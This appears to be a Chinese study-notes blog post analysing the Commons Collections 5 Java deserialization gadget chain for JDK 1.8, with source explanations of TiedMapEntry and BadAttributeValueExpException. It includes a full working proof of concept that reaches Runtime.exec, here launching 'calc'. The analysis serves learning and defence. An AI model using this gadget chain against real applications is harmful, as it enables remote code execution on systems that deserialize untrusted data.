JAVA反序列化学习笔记3.Commons Collections5分析

简介: JAVA反序列化学习笔记3.Commons Collections5分析

0x01.前言

在学习完最初的TransformedMap和LazyMap后,来看他们触发需要用到的类

TransformedMap->AnnotationInvocationHandler

LazyMap->AnnotationInvocationHandler

最后都用到了AnnotationInvocationHandler,而该类在JDK1.8中对readObject方法进行了修 改,所以在JDK1.8中无法继续使用AnnotationInvocationHandler来触发了。所以在JDK1.8中需要寻找新的触发类了,涉及到新的2个类,TiedMapEntryBadAttributeValueExpException

当前触发版本:commons-collections 3.2 JDK1.8u131

先来看一下完整的POC

Transformer[] transformers = new Transformer[]{ 
  new ConstantTransformer(Runtime.class), 
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
  new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}) }; 
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap(); 
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain); 
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); 
val.set(poc, tiedmap);
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(poc); 
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

还是用到了LazyMap,变化的代码为

TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true);
val.set(poc, tiedmap);

0x02.TiedMapEntry类分析

既然还是用到了LazyMap,那还是需要找get操作。TieMapEntry的包位于

org.apache.commons.collections.keyvalue.TiedMapEntry

来看简要源码

public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L; 
  private final Map map;   
  private final Object key;
 //构造方法,传入一个Map和一个Key值
  public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key; 
 }
 //getValue方法调用了Map集合的get方法,如果Map传入一个LazyMap对象,可触发LazyMap 的get函数
 public Object getValue() { 
   return this.map.get(this.key); 
 }
 //调用了getValue方法 
 public String toString() { 
    return this.getKey() + "=" + this.getValue(); 
  }
}

这里完整的触发流程为 调用TieMapEntry对象的toString方法,之后又调用了getValue方法,最 后触发LazyMap的get方法

接下来寻找反序列化口并触发toString方法的类

0x03.BadAttributeValueExpException类分析

BadAttributeValueExpException类位于

javax.management.BadAttributeValueExpException

来看他的构造方法和readObject方法

private Object val; //私有属性
public BadAttributeValueExpException (Object val) { 
  //创建对象时会设置val的值,如果不为null,则调用toString方法后赋值给val 
  this.val = val == null ? null : val.toString(); 
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 ObjectInputStream.GetField gf = ois.readFields(); 
  Object valObj = gf.get("val", null); //获取属性val的值 
  if (valObj == null) { 
    val = null; 
  } else if (valObj instanceof String) { 
    val= valObj; 
    //先对System.getSecurityManager进行判断,为null则进入该if判断,系统默认为null 
  } else if (System.getSecurityManager() == null 
      || valObj instanceof Long 
        || valObj instanceof Integer
        || valObj instanceof Float 
        || valObj instanceof Double 
        || valObj instanceof Byte 
        || valObj instanceof Short 
        || valObj instanceof Boolean) { 
     //调用toString方法,可触发TieMapEntry的toString方法 
     val = valObj.toString(); 
  } else { // the serialized object is from a version without JDK-8019292 fix 
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 
  } 
}

可以发现val的值我们可控,如果设置val为TieMapEntry对象,在调用构造方法时就触发了 toString函数,但是因为最后反序列化操作时,已经无法触发构造方法了,所以漏洞的触发点 还是在readObject方法中,

这里需要提到下SecurityManager,为java的安全管理器,默认是关闭的也就是null,

获取val的值后进行SecurityManager判断,为null则进入,最后调用toString方法,触发漏洞

这时候还有个问题,val的值需要为TieMapEntry对象,而又是私有属性,创建对象后无法直接对 其进行操作,这时候需要用到反射去进行赋值了,所以就有了下面的构造语句

BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); 
val.setAccessible(true); 
val.set(poc, tiedmap);

其余的构造和CC1链大致相同,完整的触发链为

->ObjectInputStream.readObject()
 ->BadAttributeValueExpException.readObject()
  ->TieMapEntry.toString()
  ->TieMapEntry.getValue()
   ->LazyMap.get()
    ->ChainedTransformer.transform()
     ->ConstantTransformer.transform()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Class.getMethod()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.getRuntime()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.exec()
相关文章
|
3天前
|
缓存 算法 搜索推荐
Java中的算法优化与复杂度分析
在Java开发中,理解和优化算法的时间复杂度和空间复杂度是提升程序性能的关键。通过合理选择数据结构、避免重复计算、应用分治法等策略,可以显著提高算法效率。在实际开发中,应该根据具体需求和场景,选择合适的优化方法,从而编写出高效、可靠的代码。
15 6
|
26天前
|
监控 算法 Java
jvm-48-java 变更导致压测应用性能下降,如何分析定位原因?
【11月更文挑战第17天】当JVM相关变更导致压测应用性能下降时,可通过检查变更内容(如JVM参数、Java版本、代码变更)、收集性能监控数据(使用JVM监控工具、应用性能监控工具、系统资源监控)、分析垃圾回收情况(GC日志分析、内存泄漏检查)、分析线程和锁(线程状态分析、锁竞争分析)及分析代码执行路径(使用代码性能分析工具、代码审查)等步骤来定位和解决问题。
|
1月前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
84 5
|
1月前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
67 2
|
1月前
|
存储 缓存 安全
🌟Java零基础:深入解析Java序列化机制
【10月更文挑战第20天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
30 3
|
1月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
1月前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
38 2
|
1月前
|
Java 数据库连接 API
Spring 框架的介绍(Java EE 学习笔记02)
Spring是一个由Rod Johnson开发的轻量级Java SE/EE一站式开源框架,旨在解决Java EE应用中的多种问题。它采用非侵入式设计,通过IoC和AOP技术简化了Java应用的开发流程,降低了组件间的耦合度,支持事务管理和多种框架的无缝集成,极大提升了开发效率和代码质量。Spring 5引入了响应式编程等新特性,进一步增强了框架的功能性和灵活性。
49 0
|
1月前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
48 0
|
2月前
|
安全 网络协议 Java
Java反序列化漏洞与URLDNS利用链分析
Java反序列化漏洞与URLDNS利用链分析
66 3